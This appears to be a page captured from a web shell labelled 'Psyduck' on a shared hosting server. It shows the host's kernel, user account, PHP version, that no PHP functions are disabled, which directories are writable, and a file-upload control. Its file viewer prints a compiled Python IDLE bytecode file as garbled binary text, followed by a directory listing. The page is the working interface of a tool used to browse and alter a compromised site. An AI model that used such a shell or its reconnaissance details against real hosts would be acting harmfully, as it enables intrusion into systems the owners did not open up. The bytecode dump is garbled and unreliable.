Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python36/lib64/python3.6/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python36/lib64/python3.6/idlelib/__pycache__/searchengine.cpython-36.pyc
3

� f0�@s|dZddlZddlmZmZmZddljZdd�Z	Gdd�d�Z
dd	�Zd
d�Zdd
�Z
edkrxddlmZeddd�dS)z'Define SearchEngine for search dialogs.�N)�	StringVar�
BooleanVar�TclErrorcCst|d�st|�|_|jS)z�Return the singleton SearchEngine instance for the process.

    The single SearchEngine saves settings between dialog instances.
    If there is not a SearchEngine already, make one.
    �
_searchengine)�hasattr�SearchEnginer)�root�r	�9/opt/alt/python36/lib64/python3.6/idlelib/searchengine.py�gets

rc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zd$dd�Zd%dd�Zd&dd �Zd'd!d"�ZdS)(rz<Handles searching a text widget for Find, Replace, and Grep.cCsR||_t|d�|_t|d�|_t|d�|_t|d�|_t|d�|_t|d�|_dS)z�Initialize Variables that save search state.

        The dialogs bind these to the UI elements present in the dialogs.
        �FTN)	rr�patvarr�revar�casevar�wordvar�wrapvar�backvar)�selfrr	r	r
�__init__szSearchEngine.__init__cCs
|jj�S)N)r
r)rr	r	r
�getpat%szSearchEngine.getpatcCs|jj|�dS)N)r
�set)r�patr	r	r
�setpat(szSearchEngine.setpatcCs
|jj�S)N)rr)rr	r	r
�isre+szSearchEngine.isrecCs
|jj�S)N)rr)rr	r	r
�iscase.szSearchEngine.iscasecCs
|jj�S)N)rr)rr	r	r
�isword1szSearchEngine.iswordcCs
|jj�S)N)rr)rr	r	r
�iswrap4szSearchEngine.iswrapcCs
|jj�S)N)rr)rr	r	r
�isback7szSearchEngine.isbackcCs |j�rtj|�}|j|�dS)z!Set pattern after escaping if re.N)r�re�escaper)rrr	r	r
�setcookedpat<s
zSearchEngine.setcookedpatcCs.|j�}|j�stj|�}|j�r*d|}|S)Nz\b%s\b)rrrrr)rrr	r	r
�getcookedpatCs
zSearchEngine.getcookedpatcCs�|j�}|s|j|d�dS|j�}d}|j�s:|tjB}ytj||�}WnVtjk
r�}z8|j}|d}t	|�dkr�|dnd}|j|||�dSd}~XnX|S)z&Return compiled cooked search pattern.zEmpty regular expressionNr�����)
r�report_errorr!rr�
IGNORECASE�compile�error�args�len)rr�flags�progZwhatr)�msg�colr	r	r
�getprogKs"
zSearchEngine.getprogr#cCsNdt|�}|r |dt|�}|dkr8|dt|�}tjd||jd�dS)NzError: z

Pattern: rz	
Offset: zRegular expression error)Zmaster)�str�tkMessageBoxZ	showerrorr)rrr-r.r	r	r
r%_szSearchEngine.report_errorNrcCs�|s|j�}|sdS|jj�}t|�\}}|j�rb|r<|}n|}t|�\}}	|j||||	||�}
n.|rl|}n|}t|�\}}	|j||||	||�}
|
S)a�Return (lineno, matchobj) or None for forward/backward search.

        This function calls the right function with the right arguments.
        It directly return the result of that call.

        Text is a text widget. Prog is a precompiled pattern.
        The ok parameter is a bit complicated as it has two effects.

        If there is a selection, the search begin at either end,
        depending on the direction setting and ok, with ok meaning that
        the search starts with the selection. Otherwise, search begins
        at the insert mark.

        To aid progress, the search functions do not return an empty
        match at the starting position unless ok is True.
        N)r/rr�
get_selectionr�get_line_col�search_backward�search_forward)r�textr,�ok�wrap�first�last�start�liner.�resr	r	r
�search_textis$
zSearchEngine.search_textcCs�d}|}|jd|d|d�}	x�|	r�|j|	dd�|�}
|
rV|sN|
j�|krV||
fS|d}|rl||krlPd}d}|jd|d|d�}	|	r"|r"d}d}d}|jdd�}	q"WdS)Nrz%d.0r#z1.0z2.0r$)r�search�end)rr6r,r<r.r8r7�wrapped�	startline�chars�mr	r	r
r5�s(
zSearchEngine.search_forwardcCs�d}|}|jd|d|d�}	x�t||	dd�|�}
|
rR|sJ|
j�|krR||
fS|d}|rh||krhPd}|dkr�|szPd}d}|jd�}tt|jd��\}}|jd|d|d�}	t|	�d}q"WdS)Nrz%d.0r#zend-1c�.r$)r�search_reverser;�index�map�int�splitr*)rr6r,r<r.r8r7rArBrCrD�posr	r	r
r4�s,
zSearchEngine.search_backwardr$)r$)Nr)r)r)�__name__�
__module__�__qualname__�__doc__rrrrrrrrr r!r/r%r>r5r4r	r	r	r
rs 


(
rcCsn|j|�}|sdSd}|j�\}}xF||krh||krh|}||krH|d}|j||�}|sZP|j�\}}q$W|S)a&Search backwards and return an re match object or None.

    This is done by searching forwards until there is no match.
    Prog: compiled re object with a search method returning a match.
    Chars: line of text, without \n.
    Col: stop index for the search; the limit for match.end().
    Nr#)r?�span)r,rCr.rD�found�i�jr	r	r
rF�s
rFcCsTy|jd�}|jd�}Wntk
r4d}}YnX|sD|jd�}|sL|}||fS)zFReturn tuple of 'line.col' indexes from selection or insert mark.
    z	sel.firstzsel.lastN�insert)rGr)r6r9r:r	r	r
r2�s

r2cCstt|jd��\}}||fS)z8Return (line, col) tuple of ints from 'line.col' string.rE)rHrIrJ)rGr<r.r	r	r
r3�sr3�__main__)�mainz#idlelib.idle_test.test_searchenginer")�	verbosity)rOrZtkinterrrrZtkinter.messageboxZ
messageboxr1rrrFr2r3rLZunittestrVr	r	r	r
�<module>s
.
Name
Size
Permissions
Options
__init__.cpython-36.opt-1.pyc
0.497 KB
-rw-r--r--
__init__.cpython-36.opt-2.pyc
0.136 KB
-rw-r--r--
__init__.cpython-36.pyc
0.497 KB
-rw-r--r--
__main__.cpython-36.opt-1.pyc
0.264 KB
-rw-r--r--
__main__.cpython-36.opt-2.pyc
0.187 KB
-rw-r--r--
__main__.cpython-36.pyc
0.264 KB
-rw-r--r--
_pyclbr.cpython-36.opt-1.pyc
10.183 KB
-rw-r--r--
_pyclbr.cpython-36.opt-2.pyc
6.651 KB
-rw-r--r--
_pyclbr.cpython-36.pyc
10.183 KB
-rw-r--r--
autocomplete.cpython-36.opt-1.pyc
7.022 KB
-rw-r--r--
autocomplete.cpython-36.opt-2.pyc
5.429 KB
-rw-r--r--
autocomplete.cpython-36.pyc
7.022 KB
-rw-r--r--
autocomplete_w.cpython-36.opt-1.pyc
10.808 KB
-rw-r--r--
autocomplete_w.cpython-36.opt-2.pyc
10.073 KB
-rw-r--r--
autocomplete_w.cpython-36.pyc
10.854 KB
-rw-r--r--
autoexpand.cpython-36.opt-1.pyc
2.76 KB
-rw-r--r--
autoexpand.cpython-36.opt-2.pyc
2.02 KB
-rw-r--r--
autoexpand.cpython-36.pyc
2.76 KB
-rw-r--r--
browser.cpython-36.opt-1.pyc
9.349 KB
-rw-r--r--
browser.cpython-36.opt-2.pyc
6.823 KB
-rw-r--r--
browser.cpython-36.pyc
9.349 KB
-rw-r--r--
calltip.cpython-36.opt-1.pyc
5.479 KB
-rw-r--r--
calltip.cpython-36.opt-2.pyc
3.888 KB
-rw-r--r--
calltip.cpython-36.pyc
5.479 KB
-rw-r--r--
calltip_w.cpython-36.opt-1.pyc
6.019 KB
-rw-r--r--
calltip_w.cpython-36.opt-2.pyc
5.1 KB
-rw-r--r--
calltip_w.cpython-36.pyc
6.019 KB
-rw-r--r--
codecontext.cpython-36.opt-1.pyc
7.956 KB
-rw-r--r--
codecontext.cpython-36.opt-2.pyc
5.036 KB
-rw-r--r--
codecontext.cpython-36.pyc
7.99 KB
-rw-r--r--
colorizer.cpython-36.opt-1.pyc
8.166 KB
-rw-r--r--
colorizer.cpython-36.opt-2.pyc
8.003 KB
-rw-r--r--
colorizer.cpython-36.pyc
8.166 KB
-rw-r--r--
config.cpython-36.opt-1.pyc
29.792 KB
-rw-r--r--
config.cpython-36.opt-2.pyc
19.848 KB
-rw-r--r--
config.cpython-36.pyc
29.792 KB
-rw-r--r--
config_key.cpython-36.opt-1.pyc
13.523 KB
-rw-r--r--
config_key.cpython-36.opt-2.pyc
12.474 KB
-rw-r--r--
config_key.cpython-36.pyc
13.523 KB
-rw-r--r--
configdialog.cpython-36.opt-1.pyc
75.717 KB
-rw-r--r--
configdialog.cpython-36.opt-2.pyc
46.642 KB
-rw-r--r--
configdialog.cpython-36.pyc
75.717 KB
-rw-r--r--
debugger.cpython-36.opt-1.pyc
13.886 KB
-rw-r--r--
debugger.cpython-36.opt-2.pyc
13.73 KB
-rw-r--r--
debugger.cpython-36.pyc
13.886 KB
-rw-r--r--
debugger_r.cpython-36.opt-1.pyc
13.444 KB
-rw-r--r--
debugger_r.cpython-36.opt-2.pyc
11.102 KB
-rw-r--r--
debugger_r.cpython-36.pyc
13.567 KB
-rw-r--r--
debugobj.cpython-36.opt-1.pyc
5.052 KB
-rw-r--r--
debugobj.cpython-36.opt-2.pyc
5.044 KB
-rw-r--r--
debugobj.cpython-36.pyc
5.052 KB
-rw-r--r--
debugobj_r.cpython-36.opt-1.pyc
1.962 KB
-rw-r--r--
debugobj_r.cpython-36.opt-2.pyc
1.954 KB
-rw-r--r--
debugobj_r.cpython-36.pyc
1.962 KB
-rw-r--r--
delegator.cpython-36.opt-1.pyc
1.246 KB
-rw-r--r--
delegator.cpython-36.opt-2.pyc
1.141 KB
-rw-r--r--
delegator.cpython-36.pyc
1.246 KB
-rw-r--r--
dynoption.cpython-36.opt-1.pyc
2.233 KB
-rw-r--r--
dynoption.cpython-36.opt-2.pyc
1.854 KB
-rw-r--r--
dynoption.cpython-36.pyc
2.233 KB
-rw-r--r--
editor.cpython-36.opt-1.pyc
47.286 KB
-rw-r--r--
editor.cpython-36.opt-2.pyc
45.666 KB
-rw-r--r--
editor.cpython-36.pyc
47.371 KB
-rw-r--r--
filelist.cpython-36.opt-1.pyc
3.293 KB
-rw-r--r--
filelist.cpython-36.opt-2.pyc
3.253 KB
-rw-r--r--
filelist.cpython-36.pyc
3.318 KB
-rw-r--r--
grep.cpython-36.opt-1.pyc
6.595 KB
-rw-r--r--
grep.cpython-36.opt-2.pyc
4.789 KB
-rw-r--r--
grep.cpython-36.pyc
6.595 KB
-rw-r--r--
help.cpython-36.opt-1.pyc
10.048 KB
-rw-r--r--
help.cpython-36.opt-2.pyc
7.372 KB
-rw-r--r--
help.cpython-36.pyc
10.048 KB
-rw-r--r--
help_about.cpython-36.opt-1.pyc
7.249 KB
-rw-r--r--
help_about.cpython-36.opt-2.pyc
6.146 KB
-rw-r--r--
help_about.cpython-36.pyc
7.249 KB
-rw-r--r--
history.cpython-36.opt-1.pyc
3.317 KB
-rw-r--r--
history.cpython-36.opt-2.pyc
2.113 KB
-rw-r--r--
history.cpython-36.pyc
3.317 KB
-rw-r--r--
hyperparser.cpython-36.opt-1.pyc
6.619 KB
-rw-r--r--
hyperparser.cpython-36.opt-2.pyc
5.335 KB
-rw-r--r--
hyperparser.cpython-36.pyc
6.619 KB
-rw-r--r--
idle.cpython-36.opt-1.pyc
0.327 KB
-rw-r--r--
idle.cpython-36.opt-2.pyc
0.319 KB
-rw-r--r--
idle.cpython-36.pyc
0.327 KB
-rw-r--r--
iomenu.cpython-36.opt-1.pyc
13.449 KB
-rw-r--r--
iomenu.cpython-36.opt-2.pyc
13.031 KB
-rw-r--r--
iomenu.cpython-36.pyc
13.449 KB
-rw-r--r--
macosx.cpython-36.opt-1.pyc
7.432 KB
-rw-r--r--
macosx.cpython-36.opt-2.pyc
5.293 KB
-rw-r--r--
macosx.cpython-36.pyc
7.432 KB
-rw-r--r--
mainmenu.cpython-36.opt-1.pyc
3.717 KB
-rw-r--r--
mainmenu.cpython-36.opt-2.pyc
3.249 KB
-rw-r--r--
mainmenu.cpython-36.pyc
3.717 KB
-rw-r--r--
multicall.cpython-36.opt-1.pyc
14.943 KB
-rw-r--r--
multicall.cpython-36.opt-2.pyc
12.626 KB
-rw-r--r--
multicall.cpython-36.pyc
14.999 KB
-rw-r--r--
outwin.cpython-36.opt-1.pyc
5.977 KB
-rw-r--r--
outwin.cpython-36.opt-2.pyc
4.324 KB
-rw-r--r--
outwin.cpython-36.pyc
5.977 KB
-rw-r--r--
paragraph.cpython-36.opt-1.pyc
5.801 KB
-rw-r--r--
paragraph.cpython-36.opt-2.pyc
3.954 KB
-rw-r--r--
paragraph.cpython-36.pyc
5.801 KB
-rw-r--r--
parenmatch.cpython-36.opt-1.pyc
6.232 KB
-rw-r--r--
parenmatch.cpython-36.opt-2.pyc
4.715 KB
-rw-r--r--
parenmatch.cpython-36.pyc
6.232 KB
-rw-r--r--
pathbrowser.cpython-36.opt-1.pyc
3.656 KB
-rw-r--r--
pathbrowser.cpython-36.opt-2.pyc
3.511 KB
-rw-r--r--
pathbrowser.cpython-36.pyc
3.656 KB
-rw-r--r--
percolator.cpython-36.opt-1.pyc
3.43 KB
-rw-r--r--
percolator.cpython-36.opt-2.pyc
3.422 KB
-rw-r--r--
percolator.cpython-36.pyc
3.564 KB
-rw-r--r--
pyparse.cpython-36.opt-1.pyc
11.4 KB
-rw-r--r--
pyparse.cpython-36.opt-2.pyc
7.896 KB
-rw-r--r--
pyparse.cpython-36.pyc
11.755 KB
-rw-r--r--
pyshell.cpython-36.opt-1.pyc
41.726 KB
-rw-r--r--
pyshell.cpython-36.opt-2.pyc
39.235 KB
-rw-r--r--
pyshell.cpython-36.pyc
41.846 KB
-rw-r--r--
query.cpython-36.opt-1.pyc
10.188 KB
-rw-r--r--
query.cpython-36.opt-2.pyc
8.106 KB
-rw-r--r--
query.cpython-36.pyc
10.188 KB
-rw-r--r--
redirector.cpython-36.opt-1.pyc
6.601 KB
-rw-r--r--
redirector.cpython-36.opt-2.pyc
3.241 KB
-rw-r--r--
redirector.cpython-36.pyc
6.601 KB
-rw-r--r--
replace.cpython-36.opt-1.pyc
6.917 KB
-rw-r--r--
replace.cpython-36.opt-2.pyc
6.274 KB
-rw-r--r--
replace.cpython-36.pyc
6.917 KB
-rw-r--r--
rpc.cpython-36.opt-1.pyc
19.1 KB
-rw-r--r--
rpc.cpython-36.opt-2.pyc
15.629 KB
-rw-r--r--
rpc.cpython-36.pyc
19.185 KB
-rw-r--r--
rstrip.cpython-36.opt-1.pyc
1.051 KB
-rw-r--r--
rstrip.cpython-36.opt-2.pyc
0.967 KB
-rw-r--r--
rstrip.cpython-36.pyc
1.051 KB
-rw-r--r--
run.cpython-36.opt-1.pyc
14.985 KB
-rw-r--r--
run.cpython-36.opt-2.pyc
13.004 KB
-rw-r--r--
run.cpython-36.pyc
15.027 KB
-rw-r--r--
runscript.cpython-36.opt-1.pyc
6.326 KB
-rw-r--r--
runscript.cpython-36.opt-2.pyc
5.146 KB
-rw-r--r--
runscript.cpython-36.pyc
6.326 KB
-rw-r--r--
scrolledlist.cpython-36.opt-1.pyc
5.259 KB
-rw-r--r--
scrolledlist.cpython-36.opt-2.pyc
5.251 KB
-rw-r--r--
scrolledlist.cpython-36.pyc
5.259 KB
-rw-r--r--
search.cpython-36.opt-1.pyc
3.458 KB
-rw-r--r--
search.cpython-36.opt-2.pyc
3.204 KB
-rw-r--r--
search.cpython-36.pyc
3.458 KB
-rw-r--r--
searchbase.cpython-36.opt-1.pyc
7.79 KB
-rw-r--r--
searchbase.cpython-36.opt-2.pyc
5.087 KB
-rw-r--r--
searchbase.cpython-36.pyc
7.79 KB
-rw-r--r--
searchengine.cpython-36.opt-1.pyc
6.68 KB
-rw-r--r--
searchengine.cpython-36.opt-2.pyc
5.061 KB
-rw-r--r--
searchengine.cpython-36.pyc
6.68 KB
-rw-r--r--
squeezer.cpython-36.opt-1.pyc
9.675 KB
-rw-r--r--
squeezer.cpython-36.opt-2.pyc
6.556 KB
-rw-r--r--
squeezer.cpython-36.pyc
9.711 KB
-rw-r--r--
stackviewer.cpython-36.opt-1.pyc
4.937 KB
-rw-r--r--
stackviewer.cpython-36.opt-2.pyc
4.929 KB
-rw-r--r--
stackviewer.cpython-36.pyc
4.937 KB
-rw-r--r--
statusbar.cpython-36.opt-1.pyc
1.899 KB
-rw-r--r--
statusbar.cpython-36.opt-2.pyc
1.892 KB
-rw-r--r--
statusbar.cpython-36.pyc
1.899 KB
-rw-r--r--
textview.cpython-36.opt-1.pyc
6.286 KB
-rw-r--r--
textview.cpython-36.opt-2.pyc
4.742 KB
-rw-r--r--
textview.cpython-36.pyc
6.286 KB
-rw-r--r--
tooltip.cpython-36.opt-1.pyc
6.412 KB
-rw-r--r--
tooltip.cpython-36.opt-2.pyc
4.82 KB
-rw-r--r--
tooltip.cpython-36.pyc
6.412 KB
-rw-r--r--
tree.cpython-36.opt-1.pyc
13.941 KB
-rw-r--r--
tree.cpython-36.opt-2.pyc
13.179 KB
-rw-r--r--
tree.cpython-36.pyc
13.941 KB
-rw-r--r--
undo.cpython-36.opt-1.pyc
10.527 KB
-rw-r--r--
undo.cpython-36.opt-2.pyc
10.52 KB
-rw-r--r--
undo.cpython-36.pyc
10.527 KB
-rw-r--r--
window.cpython-36.opt-1.pyc
3.082 KB
-rw-r--r--
window.cpython-36.opt-2.pyc
3.074 KB
-rw-r--r--
window.cpython-36.pyc
3.082 KB
-rw-r--r--
zoomheight.cpython-36.opt-1.pyc
1.369 KB
-rw-r--r--
zoomheight.cpython-36.opt-2.pyc
1.313 KB
-rw-r--r--
zoomheight.cpython-36.pyc
1.369 KB
-rw-r--r--
zzdummy.cpython-36.opt-1.pyc
1.178 KB
-rw-r--r--
zzdummy.cpython-36.opt-2.pyc
1.104 KB
-rw-r--r--
zzdummy.cpython-36.pyc
1.178 KB
-rw-r--r--